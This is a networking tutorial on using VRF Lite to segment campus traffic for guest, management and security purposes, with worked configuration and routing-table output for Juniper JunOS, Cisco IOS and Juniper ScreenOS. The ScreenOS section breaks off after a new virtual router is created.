<p>The use of firewalls mitigates most of the network utilization and failure times by making use of layer 3 routed campus design, but this comes at a large cost.  Namely, the cost is incurred in maintenance and raw hardware costs for large firewalls that are able to deal with 10 Gig and 1 Gig ethernet line rates.  The use of access-lists are often supplemented for firewalls to reduce costs, but this approach is fraught with issues and access-lists are never reviewed often enough.</p>

<p>A VRF based solution for a wired guest network on a large campus would allow guest traffic to be routed to the firewalls in the datacenters via routing policy while still being segmented away from production traffic.  By leveraging VRFs none of the aforementioned compromises are required to keep this separation.  The production network is able to fully utilize all available links and not relay on spanning tree protocol between sites for a loop free environment.</p>

<h5 id="vrf-intro-mgmt">Management and Control</h5>

<p>For managing devices on a network, there is a need for out of band (OOB) connections. There really is no other sure-fire way of gaining access during a truly catastrophic event other than this tried and true modem/console connection.  But for the daily running and maintenance of the network, OOB just can not keep up with the needs of daily maintenance and the amount of traffic generated by NetFlow, logging, ftp/tftp backups, and scp (secure copy) of new images.  To complete these high bandwidth functions, most companies I have seen and worked with just resort to using the network that servers and even desktops traffic utilize.  This traffic in many cases is highly sensitive and really should not be available to anyone outside of authorized users.</p>

<p>VRFs can help to move this traffic out of the primary network and into a second network that only services management functions and has no direct access to the Internet, desktops, or other uncontrolled resources.  In fact, Cisco is now adding VRF management ports to some of their newer devices<sup id="fnref:4"><a href="#fn:4" rel="footnote">2</a></sup>.  The use of ACL&#8217;s and other forms of control and logging are still needed, but they become simpler to keep updated and are normally far less complicated when production traffic is neither expected nor allowed.</p>

<h5 id="vrf-intro-sec">Security</h5>

<blockquote>
  <p>&#8220;I&#8230; I don&#8217;t know exactly how to put this, sir, but are you aware of what a serious breach of security that would be?
  I mean, he&#8217;ll see everything, he&#8217;ll&#8230; he&#8217;ll see the Big Board!&#8221;</p>
  
  <p><code>Gen "Buck" Turgidson</code></p>
</blockquote>

<p>VRFs allow for complete separation of different routing instances from one another. This simple and effective concept of hiding networks from each other and limiting the ability of devices from interacting outside of defined boundaries creates a more secure network. A good example of this would be a voice network within a campus. In general, there is very little reason for VoIP end points to speak to anything other than the voice gateway and each other. Moving of voice traffic to a VRF allows for gateways to still interact and even direct device-to-device interconnection, while greatly reducing the attack vectors.</p>

<p>VRFs do increase the surface area of your network devices due to the increased number of addressable interfaces on each hardware device.  But I would counter this with the fact that the network is divided into more domain specific networks.  The ACL and protection measures required become much simpler to implement and keep up to date.  A good and simple example of this would be to just block all management functions for anything outside of the management VRF.</p>

<h2 id="vrf-setup">VRF Lite Setup</h2>

<p>VRF Lite is supported on most modern network hardware, but I personally have not used them outside of <a href="http://juniper.net/products/junos/">Juniper JunOS</a>, <a href="http://www.juniper.net/techpubs/software/screenos/screenos6.1.0/index.html">Juniper ScreenOS</a>, and Cisco <a href="http://cisco.com/go/ios">IOS</a>.  Each Platform/Company has it&#8217;s own naming<sup id="fnref:3"><a href="#fn:3" rel="footnote">3</a></sup> convention for the this feature, but the concept is the same in each.</p>

<blockquote>
  <p>&#8220;Gentlemen, you can&#8217;t fight in here! This is the War Room.&#8221;</p>
  
  <p><code>Pres Merkin Muffley</code></p>
</blockquote>

<ul>
<li><a href="#setup-junos">Setup on Juniper JunOS</a></li>
<li><a href="#setup-ios">Setup on Cisco IOS</a></li>
<li><a href="#setup-screenos">Setup on Juniper ScreenOS</a></li>
</ul>

<h3 id="setup-junos">VRF Lite Setup on Juniper JunOS</h3>

<div class="wp-caption" style="float: right;margin: 5px"><img src="http://praetorianprefect.com/wp-content/uploads/2009/05/untitled-2.jpg" border="0" alt="Untitled 2.jpg" width="553" height="69" /></div>

<p>For this example I will be using JunOS 8.5, while this a slightly older version it still has all the features needed.</p>

<p>First we need to setup some basic interfaces for later use.  We will not be assigning them an IP address as I do not want to pollute the global routing table<sup id="fnref:2"><a href="#fn:2" rel="footnote">4</a></sup>.  We will be using VLANs on ethernet interfaces to break up the router <code>junos-1</code> into three virtual routers.</p>

<p>Enable VLAN tagging on the interfaces and create some sub interfaces.</p>

<pre><code>set interfaces fe-0/0/0 vlan-tagging
set interfaces fe-0/0/0 unit 100 vlan-id 100
set interfaces fe-0/0/0 unit 100 description "Untrust"
set interfaces fe-0/0/0 unit 200 vlan-id 200
set interfaces fe-0/0/0 unit 200 description "Trust"
set interfaces fe-0/0/0 unit 300 vlan-id 300
set interfaces fe-0/0/0 unit 300 description "DMZ"
set interfaces fe-0/0/0 unit 400 vlan-id 400
set interfaces fe-0/0/0 unit 400 description "Trust"
</code></pre>

<p>The verify the results and commit the changes.</p>

<pre><code>[edit]
jrossi@junos-1# show interfaces
fe-0/0/0 {
    vlan-tagging;
    unit 100 {
        description Untrust;
        vlan-id 100;
    }
    unit 200 {
        description Trust;
        vlan-id 200;
    }
    unit 300 {
        description DMZ;
        vlan-id 300;
    }
    unit 400 {
        description Trust;
        vlan-id 400;
    }
}

[edit]
jrossi@junos-1# commit
commit complete

</code></pre>

<p>Now let&#8217;s create three new routing-instances: Trust, Untrust, and DMZ.  The <code>instance-type</code> supports quite a few option types on JunOS, but to to create a VRF Lite instance we just need to use <code>virtual-router</code>.  We also need to assign interfaces to each newly created instance.  This is very different than in Cisco IOS in that one configures VRF in the interface configuration hierarchy.</p>

<pre><code>show routing-instances
set routing-instances Trust instance-type virtual-router
set routing-instances Trust interface fe-0/0/0.200
set routing-instances Trust interface fe-0/0/0.400
set routing-instances Untrust instance-type virtual-router
set routing-instances Untrust interface fe-0/0/0.100
set routing-instances DMZ instance-type virtual-router
set routing-instances DMZ interface fe-0/0/0.300

</code></pre>

<p>View the results and commit the change.</p>

<pre><code>[edit]
jrossi@junos-1# show routing-instances
Trust {
    instance-type virtual-router;
    interface fe-0/0/0.200;
    interface fe-0/0/0.400;
}
Untrust {
    instance-type virtual-router;
    interface fe-0/0/0.100;
}
DMZ {
    instance-type virtual-router;
    interface fe-0/0/0.300;
}

[edit]
jrossi@junos-1# commit
commit complete

</code></pre>

<p>Now, we have the interfaces configured and set up without addresses.  If we look at the routing table nothing shows up because we have not enabled any interface families.  Once we add address to the <code>family inet</code> interface configuration, the routing table will begin to take shape.</p>

<pre><code>jrossi@junos-1# run show route

inet.0: 6 destinations, 6 routes (6 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 03:47:47
                    &gt; to 10.4.37.1 via fe-0/0/1.0
10.4.37.0/24       *[Direct/0] 1d 19:35:26
                    &gt; via fe-0/0/1.0
10.4.37.9/32       *[Local/0] 1d 19:35:26
                      Local via fe-0/0/1.0
192.168.5.0/24     *[Direct/0] 1d 13:13:18
                    &gt; via fe-0/0/1.0
192.168.5.123/32   *[Local/0] 1d 13:13:18
                      Local via fe-0/0/1.0
224.0.0.5/32       *[OSPF/10] 1d 12:50:00, metric 1
                     MultiRecv

__juniper_private2__.inet.0: 1 destinations, 1 routes (0 active, 0 holddown, 1 hidden)
</code></pre>

<p>Let&#8217;s add some interface <code>family inet</code> addresses.  I am going to use overlapping address ranges to show that when VRF is used they do not interfere with each other.</p>

<pre><code>set interfaces fe-0/0/0 unit 100 family inet address 10.10.10.1/24
set interfaces fe-0/0/0 unit 200 family inet address 172.16.10.1/24
set interfaces fe-0/0/0 unit 300 family inet address 10.10.10.1/24
set interfaces fe-0/0/0 unit 400 family inet address 192.168.10.1/24
</code></pre>

<p>Now let&#8217;s verify the changes and commit them.</p>

<pre><code>jrossi@junos-1# show interfaces fe-0/0/0 
vlan-tagging;
unit 100 {
    description Untrust;
    vlan-id 100;
    family inet {
        address 10.10.10.1/24;
    }
}
unit 200 {
    description Trust;
    vlan-id 200;
    family inet {
        address 172.16.10.1/24;
    }
}
unit 300 {
    description DMZ;
    vlan-id 300;
    family inet {
        address 10.10.10.1/24;
    }
}
unit 400 {
    description Trust;
    vlan-id 400;
    family inet {
        address 192.168.10.1/24;
    }
}

[edit]
jrossi@junos-1# commit 
commit complete
</code></pre>

<p>When we look into the routing you see much more information and can even see the different routing instances.  The global routing table <code>inet.0</code> is the default table your would normally work with.  Further down the list you see <code>DMZ.inet.0</code>, <code>Trust.inet.0</code>, and <code>Untrust.inet.0</code>; they are the newly created VRF Lite routing instances.</p>

<pre><code>[edit]
jrossi@junos-1# run show route 

inet.0: 6 destinations, 6 routes (6 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 04:27:06
                    &gt; to 10.4.37.1 via fe-0/0/1.0
10.4.37.0/24       *[Direct/0] 1d 20:14:45
                    &gt; via fe-0/0/1.0
10.4.37.9/32       *[Local/0] 1d 20:14:45
                      Local via fe-0/0/1.0
192.168.5.0/24     *[Direct/0] 1d 13:52:37
                    &gt; via fe-0/0/1.0
192.168.5.123/32   *[Local/0] 1d 13:52:37
                      Local via fe-0/0/1.0
224.0.0.5/32       *[OSPF/10] 1d 13:29:19, metric 1
                      MultiRecv

__juniper_private2__.inet.0: 1 destinations, 1 routes (0 active, 0 holddown, 1 hidden)

DMZ.inet.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.10.0/24      *[Direct/0] 00:00:06
                    &gt; via fe-0/0/0.300
10.10.10.1/32      *[Local/0] 00:00:06
                      Local via fe-0/0/0.300

Trust.inet.0: 4 destinations, 4 routes (4 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

172.16.10.0/24     *[Direct/0] 00:00:18
                    &gt; via fe-0/0/0.200
172.16.10.1/32     *[Local/0] 00:00:18
                      Local via fe-0/0/0.200
192.168.10.0/24    *[Direct/0] 00:00:06
                    &gt; via fe-0/0/0.400
192.168.10.1/32    *[Local/0] 00:00:06
                      Local via fe-0/0/0.400

Untrust.inet.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.10.0/24      *[Direct/0] 00:03:26
                    &gt; via fe-0/0/0.100
10.10.10.1/32      *[Local/0] 00:03:26
                      Local via fe-0/0/0.100



</code></pre>

<p>While having interfaces with addresses and different routing tables is cool and all, this does next to nothing as there is no real routing going on so let&#8217;s add some.</p>

<p>Start out by adding a default route to the <code>Trust</code> VRF lite configuration.  The commands to perform this are almost exactly the same for the global routing table.  The only difference is that you start under the <code>routing-instances</code> configuration hierarchy.  This also applies for routing protocols.</p>

<pre><code>set routing-instances Trust routing-options static route 0.0.0.0/0 next-hop 192.168.10.2
</code></pre>

<p>Now let&#8217;s verify our configuration and commit the change.</p>

<pre><code>[edit]
jrossi@junos-1# show routing-instances Trust 
instance-type virtual-router;
interface fe-0/0/0.200;
interface fe-0/0/0.400;
routing-options {
    static {
        route 0.0.0.0/0 next-hop 192.168.10.2;
    }
}

[edit]
jrossi@junos-1# commit 
commit complete
</code></pre>

<p>Now let&#8217;s take a look at the <code>Trust.inet.0</code> routing table.  This time we are going limit our show route command to just the <code>Trust</code> table.</p>

<pre><code>[edit]
jrossi@junos-1# run show route table Trust 

Trust.inet.0: 5 destinations, 5 routes (5 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 00:36:26
                    &gt; to 192.168.10.2 via fe-0/0/0.400
172.16.10.0/24     *[Direct/0] 00:00:18
                    &gt; via fe-0/0/0.200
172.16.10.1/32     *[Local/0] 00:00:18
                      Local via fe-0/0/0.200
192.168.10.0/24    *[Direct/0] 00:56:56
                    &gt; via fe-0/0/0.400
192.168.10.1/32    *[Local/0] 00:56:56
                      Local via fe-0/0/0.400
</code></pre>

<h3 id="setup-ios">VRF Lite Setup on Cisco IOS</h3>

<div class="wp-caption" style="float: right;margin: 5px"><img src="http://praetorianprefect.com/wp-content/uploads/2009/05/2851.jpg" border="0" alt="2851.jpg" width="532" height="143" /></div>

<p>Cisco IOS is used here and it&#8217;s very new and buggy 12.4T(22), but as this is what I installed to test other features of IOS, I figured it would not be a problem for this write up.  It should also be more than adequate for VRF Lite.  Please note that there are a large number of extra interfaces and features configured on this router as I do lots of playing around with IOS on this device.</p>

<p>Just like in the JunOS Example, we are going to create some sub-interfaces to start off with.</p>

<pre><code>ios-1(config)#int gi0/0
ios-1(config-if)#no shut
ios-1(config-i)#int gi0/0.100
ios-1(config-subif)#description Untrust
ios-1(config-subif)#encapsulation dot1Q 100
ios-1(config-subif)#int gi0/0.200
ios-1(config-subif)#description Trust
ios-1(config-subif)#encapsulation dot1Q 200
ios-1(config-subif)#int gi0/0.300
ios-1(config-subif)#description DMZ
ios-1(config-subif)#encapsulation dot1Q 300
ios-1(config-subif)#int gi0/0.400
ios-1(config-subif)#description Trust
ios-1(config-subif)#encapsulation dot1Q 400
</code></pre>

<p>Just a quick peek to see that things are as we expect them.</p>

<pre><code>ios-1(config-subif)#do show ip int br
Interface                  IP-Address      OK? Method Status                Protocol
GigabitEthernet0/0         unassigned      YES NVRAM  up                    up
GigabitEthernet0/0.100     unassigned      YES unset  up                    up
GigabitEthernet0/0.200     unassigned      YES unset  up                    up
GigabitEthernet0/0.300     unassigned      YES unset  up                    up
GigabitEthernet0/0.400     unassigned      YES unset  up                    up
GigabitEthernet0/1         1.1.1.1         YES NVRAM  up                    up
FastEthernet0/3/0          unassigned      YES unset  down                  down
FastEthernet0/3/1          unassigned      YES unset  up                    down
FastEthernet0/3/2          unassigned      YES unset  up                    down
FastEthernet0/3/3          unassigned      YES unset  up                    down
ATM0/1/0                   unassigned      YES NVRAM  administratively down down
ATM0/1/0.1                 unassigned      YES unset  administratively down down
Dot11Radio0/2/0            unassigned      YES NVRAM  up                    up
Dot11Radio0/2/0.1          192.168.128.1   YES NVRAM  up                    up
Dot11Radio0/2/0.3          192.168.11.1    YES NVRAM  up                    up
Dot11Radio0/2/0.4          192.168.4.1     YES NVRAM  up                    up
Dot11Radio0/2/0.5          unassigned      YES unset  up                    up
Dot11Radio0/2/0.10         192.168.10.1    YES NVRAM  up                    up
Dot11Radio0/2/1            unassigned      YES NVRAM  administratively down down
Vlan1                      unassigned      YES NVRAM  up                    down
Vlan3                      192.168.3.1     YES NVRAM  up                    down
Vlan5                      unassigned      YES NVRAM  up                    down
Vlan20                     192.168.20.1    YES NVRAM  up                    down
NVI0                       192.168.1.1     YES unset  up                    up
SSLVPN-VIF0                unassigned      NO  unset  up                    up
BVI3                       192.168.5.1     YES NVRAM  up                    up
Loopback1                  192.168.1.1     YES NVRAM  up                    up
Loopback69                 192.168.69.1    YES NVRAM  up                    up
Loopback100                unassigned      YES NVRAM  up                    up
Loopback666                10.10.10.2      YES NVRAM  up                    up
Tunnel255                  192.168.255.2   YES NVRAM  up                    up

ios-1(config-subif)#do show int desc
Interface                      Status         Protocol Description
Gi0/0                          up             up
Gi0/0.100                      up             up       Untrust
Gi0/0.200                      up             up       Trust
Gi0/0.300                      up             up       DMZ
Gi0/0.400                      up             up       Trust
Gi0/1                          up             up
Fa0/3/0                        down           down
Fa0/3/1                        up             down
Fa0/3/2                        up             down
Fa0/3/3                        up             down
AT0/1/0                        admin down     down
AT0/1/0.1                      admin down     down
Do0/2/0                        up             up
Do0/2/0.1                      up             up
Do0/2/0.3                      up             up
Do0/2/0.4                      up             up
Do0/2/0.5                      up             up
Do0/2/0.10                     up             up
Do0/2/1                        admin down     down
Vl1                            up             down
Vl3                            up             down
Vl5                            up             down
Vl20                           up             down
NV0                            up             up
SS0                            up             up
BV3                            up             up
Lo1                            up             up
Lo69                           up             up       for webvpn
Lo100                          up             up
Lo666                          up             up
Tu255                          up             up

</code></pre>

<p>Much like in the JunOS configuration we will now create three new routing instances (VRF Lite).</p>

<pre><code>ios-1(config)#ip vrf
ios-1(config)#ip vrf Untrust
ios-1(config-vrf)#ip vrf Untrust
ios-1(config-vrf)#description Scary wild wild west
ios-1(config-vrf)#ip vrf Trust
ios-1(config-vrf)#ip vrf DMZ
</code></pre>

<blockquote>
  <p>I don&#8217;t give a hoot in Hell how you do it, you just get me to the Primary, ya hear!</p>
  
  <p><code>Major T. J. "King" Kong</code></p>
</blockquote>

<p>Now let&#8217;s configure some interfaces and add some addresses.  Once again, I am going to use overlapping ranges to show that VRF Lite allows for it.</p>

<p>Adding interfaces to a routing instance is configured under the actual interface configuration hierarchy with the command <code>ip vrf forward</code>.  If you have an address already assigned when you run the <code>ip vrf forwarding</code> the address will be removed.  This is done to make sure that conflicts or pollution of the new routing table doesn&#8217;t happen unintentionally.</p>

<pre><code>ios-1(config)#int gi0/0.100
ios-1(config-subif)#ip vrf forwarding Untrust
ios-1(config-subif)#ip address 10.10.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.200
ios-1(config-subif)#ip vrf forwarding Trust
ios-1(config-subif)#ip address 172.16.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.300
ios-1(config-subif)#ip vrf forwarding DMZ
ios-1(config-subif)#ip address 10.10.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.400
ios-1(config-subif)#ip vrf forwarding Trust
ios-1(config-subif)#ip address 192.168.10.1 255.255.255.0

</code></pre>

<p>Before we move forward, let&#8217;s look into some of the show commands around VRFs on IOS.</p>

<pre><code>ios-1#show ip vrf 
  Name                             Default RD          Interfaces
  DMZ                              &lt;not set&gt;           Gi0/0.300
  Trust                            &lt;not set&gt;           Gi0/0.200
                                                       Gi0/0.400
  Untrust                          &lt;not set&gt;           Gi0/0.100
</code></pre>

<p>The command <code>show ip route</code> Cisco IOS will not show you anything about the other routing instances, just the global table.</p>

<pre><code>ios-1(config-subif)#do show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 1.1.1.2 to network 0.0.0.0

C    192.168.128.0/24 is directly connected, Dot11Radio0/2/0.1
C    192.168.10.0/24 is directly connected, Dot11Radio0/2/0.10
C    192.168.11.0/24 is directly connected, Dot11Radio0/2/0.3
C    192.168.4.0/24 is directly connected, Dot11Radio0/2/0.4
C    192.168.5.0/24 is directly connected, BVI3
C    1.1.1.0/24 is directly connected, GigabitEthernet0/1
     192.168.255.0/30 is subnetted, 1 subnets
C       192.168.255.0 is directly connected, Tunnel255
     192.168.1.0/32 is subnetted, 1 subnets
C       192.168.1.1 is directly connected, Loopback1
C    192.168.69.0/24 is directly connected, Loopback69
O    192.168.2.0/24 [110/1001] via 192.168.255.1, 1d07h, Tunnel255
S*   0.0.0.0/0 [1/0] via 1.1.1.2
</code></pre>

<p>Using the command <code>show ip route vrf</code> we can see into each routing table, or the use of <code>show ip route vrf *</code> will let us see them all at once.</p>

<pre><code>ios-1#show ip route vrf *
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 1.1.1.1 to network 0.0.0.0

C    192.168.128.0/24 is directly connected, Dot11Radio0/2/0.1
C    192.168.10.0/24 is directly connected, Dot11Radio0/2/0.10
C    192.168.11.0/24 is directly connected, Dot11Radio0/2/0.3
C    192.168.4.0/24 is directly connected, Dot11Radio0/2/0.4
C    192.168.20.0/24 is directly connected, Vlan20
C    192.168.5.0/24 is directly connected, BVI3
C    1.1.1.0/24 is directly connected, GigabitEthernet0/1
     192.168.255.0/30 is subnetted, 1 subnets
C       192.168.255.0 is directly connected, Tunnel255
     192.168.1.0/32 is subnetted, 1 subnets
C       192.168.1.1 is directly connected, Loopback1
C    192.168.69.0/24 is directly connected, Loopback69
O    192.168.2.0/24 [110/1001] via 192.168.255.1, 1d14h, Tunnel255
C    192.168.3.0/24 is directly connected, Vlan3
S*   0.0.0.0/0 [1/0] via 1.1.1.1

Routing Table: Untrust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     10.0.0.0/24 is subnetted, 1 subnets
C       10.10.10.0 is directly connected, GigabitEthernet0/0.100

Routing Table: Trust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

C    192.168.10.0/24 is directly connected, GigabitEthernet0/0.400
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, GigabitEthernet0/0.200

Routing Table: DMZ
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     10.0.0.0/24 is subnetted, 1 subnets
C       10.10.10.0 is directly connected, GigabitEthernet0/0.300
ios-1#
</code></pre>

<p>Now lets do a little routing.  Just like in the JunOS example a simple static route should be sufficient.</p>

<pre><code>ios-1(config)#ip route vrf Trust 0.0.0.0 0.0.0.0 192.168.10.2
</code></pre>

<p>The <code>Trust</code> routing instance table now looks like the following.</p>

<pre><code>ios-1(config)#do show ip route vrf Trust

Routing Table: Trust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.10.2 to network 0.0.0.0

C    192.168.10.0/24 is directly connected, GigabitEthernet0/0.400
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, GigabitEthernet0/0.200
S*   0.0.0.0/0 [1/0] via 192.168.10.2
</code></pre>

<h3 id="setup-screenos">VRF Lite Setup on Juniper ScreenOS</h3>

<div class="wp-caption" style="float: right;margin: 5px"><img src="http://praetorianprefect.com/wp-content/uploads/2009/05/ssg-5-shjpg.jpeg" border="0" alt="SSG-5-SH.jpg.jpeg" width="300" height="60" /></div>

<p>Juniper ScreenOS version 6.2.0r2.0 used here is very new and has been working very well for me in testing.</p>

<p>There are also a few more limitations on the ScreenOS platform that I need to make note of.  The SSG5 I am using has a limit of only 3 routing instances and some other limits that you should verify yourself before starting.  Using the command <code>get license-key</code> will show all the limits for the hardware.  The key things to look for are: <em>Vrouters</em>, <em>Zones</em>, and <em>VLANs</em>.</p>

<pre><code>screenos-1-&gt; get license-key 
extended_key        : XXXXXXXXXXXXX+XXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXX
                      XXXXXXXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                      XXXXXXXXXXXXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXXXXXX
                      /XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX++XXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXX+XXXXXX+XXXXXXXXXXXXXXXXXXXXXXXXXXXX
                      ==

Sessions:           16064 sessions
Capacity:           unlimited number of users
NSRP:               ActiveActive
VPN tunnels:        40 tunnels
Vsys:               None
Vrouters:           4 virtual routers
Zones:              10 zones
VLANs:              50 vlans
Drp:                Enable
Deep Inspection:    Enable
Deep Inspection Database Expire Date: Disable
Signature pack:     Signature update key is missing
IDP:                Disable
AV:                 Disable(0)
Anti-Spam:          Disable(0)
Url Filtering:      Disable

Update server url: nextwave.netscreen.com/key_retrieval
License key auto update : Disabled
Auto update interval : 0 days
</code></pre>

<p>Unlike IOS and JunOS: ScreenOS does not have a concept of Global routing instance.  Every interface must be in routing instances and can not have any addresses assigned when you move them to a different instance.  Due to this, you really should start off in a different order and create the routing instances first.</p>

<p>The default ScreenOS puts all interfaces into the <code>Trust-vr</code> routing instance so let&#8217;s start by checking what is already set up.</p>

<pre><code>screenos-1-&gt; get vrouter
* indicates default vrouter 
A - AutoExport, R - RIP, N- NHRP, O - OSPF, B - BGP, P - PIM

   ID Name                     Vsys                 Owner     Routes    MRoutes     Flags
    1 untrust-vr               Root                 shared      0/max       0/max       
*   2 trust-vr                 Root                 shared      4/max       0/max       

total 2 vrouters shown and 0 of them defined by user
</code></pre>

<p>As you can see there are already 2 routing instances set up.  Let&#8217;s take a look at the interfaces that belong to each.  To do this we need to see what zones are mapped to which routing instances.</p>

<pre><code>screenos-1-&gt; get zone  
Total 14 zones created in vsys Root - 8 are policy configurable.
Total policy configurable zones for Root is 8.
;------------------------------------------------------------------------
  ID Name                             Type    Attr    VR          Default-IF   VSYS      
   0 Null                             Null    Shared untrust-vr   wireless0/3  Root                
   1 Untrust                          Sec(L3) Shared trust-vr     ethernet0/0  Root                
   2 Trust                            Sec(L3)        trust-vr     bgroup0      Root                
   3 DMZ                              Sec(L3)        trust-vr     ethernet0/1  Root                
   4 Self                             Func           trust-vr     self         Root                
   5 MGT                              Func           trust-vr     null         Root                
   6 HA                               Func           trust-vr     null         Root                
  10 Global                           Sec(L3)        trust-vr     null         Root                
  11 V1-Untrust                       Sec(L2) Shared trust-vr     v1-untrust   Root                
  12 V1-Trust                         Sec(L2) Shared trust-vr     v1-trust     Root                
  13 V1-DMZ                           Sec(L2) Shared trust-vr     v1-dmz       Root                
  14 VLAN                             Func    Shared trust-vr     vlan1        Root                
  15 V1-Null                          Sec(L2) Shared trust-vr     l2v          Root                
  16 Untrust-Tun                      Tun            trust-vr     hidden.1     Root                
;------------------------------------------------------------------------
</code></pre>

<p>Now we have to map the interfaces to the zones.  (Yes, it may seem a little convoluted but it does make sense for a firewall platform).</p>

<pre><code>screenos-1-&gt; get interface 

A - Active, I - Inactive, U - Up, D - Down, R - Ready 

Interfaces in vsys Root: 
Name           IP Address                        Zone        MAC            VLAN State VSD      
serial0/0      0.0.0.0/0                         Null        N/A               -   D   -  
eth0/0         0.0.0.0/0                         Untrust     0017.cb80.9f40    -   U   -  
eth0/1         0.0.0.0/0                         DMZ         0017.cb80.9f45    -   D   -  
wireless0/0    192.168.2.1/24                    Trust       0017.cb80.9f55    -   D   -  
wireless0/1    0.0.0.0/0                         Null        0017.cb80.9f56    -   D   -  
wireless0/2    0.0.0.0/0                         Null        0017.cb80.9f57    -   D   -  
wireless0/3    0.0.0.0/0                         Null        0017.cb80.9f58    -   D   -  
bgroup0        192.168.1.1/24                    Trust       0017.cb80.9f4b    -   U   -  
  eth0/2       N/A                               N/A         N/A               -   U   -
  eth0/3       N/A                               N/A         N/A               -   D   -
  eth0/4       N/A                               N/A         N/A               -   D   -
  eth0/5       N/A                               N/A         N/A               -   D   -
  eth0/6       N/A                               N/A         N/A               -   D   -
bgroup1        0.0.0.0/0                         Null        0017.cb80.9f4c    -   D   -  
bgroup2        0.0.0.0/0                         Null        0017.cb80.9f4d    -   D   -  
bgroup3        0.0.0.0/0                         Null        0017.cb80.9f4e    -   D   -  
vlan1          0.0.0.0/0                         VLAN        0017.cb80.9f4f    1   D   -  
null           0.0.0.0/0                         Null        N/A               -   U   0  
</code></pre>

<p>We now have all the information we need to begin the process.  Here is a simplified table to make moving forward a little easier:</p>

<h5>Current</h5>

<table>
<thead>
<tr>
  <th>Interface</th>
  <th>Zone</th>
  <th>Routing Instance</th>
</tr>
</thead>
<tbody>
<tr>
  <td>serial0/0</td>
  <td>Null</td>
  <td>trust-vr</td>
</tr>
<tr>
  <td>eth0/0</td>
  <td>Untrust</td>
  <td>trust-vr</td>
</tr>
<tr>
  <td>eth0/1</td>
  <td>DMZ</td>
  <td>trust-vr</td>
</tr>
<tr>
  <td>wireless0/0</td>
  <td>Trust</td>
  <td>trust-vr</td>
</tr>
</tbody>
</table>

<p>Now let&#8217;s start by creating the one routing instance that is not already setup by default.</p>

<pre><code>screenos-1-&gt; set vrouter name dmz-vr
</code></pre>

<p>Now let&#8217;s see how this shows up on the device.</p>

<pre><code>creenos-1-&gt; get vrouter
* indicates default vrouter 
A - AutoExport, R - RIP, N- NHRP, O - OSPF, B - BGP, P - PIM

   ID Name                     Vsys                 Owner     Routes    MRoutes     Flags
    1 untrust-vr               Root                 shared      0/max       0/max       
*   2 trust-vr                 Root                 shared      4/max       0/max       
 1025 dmz-vr                   Root                 user        0/max       0/max       

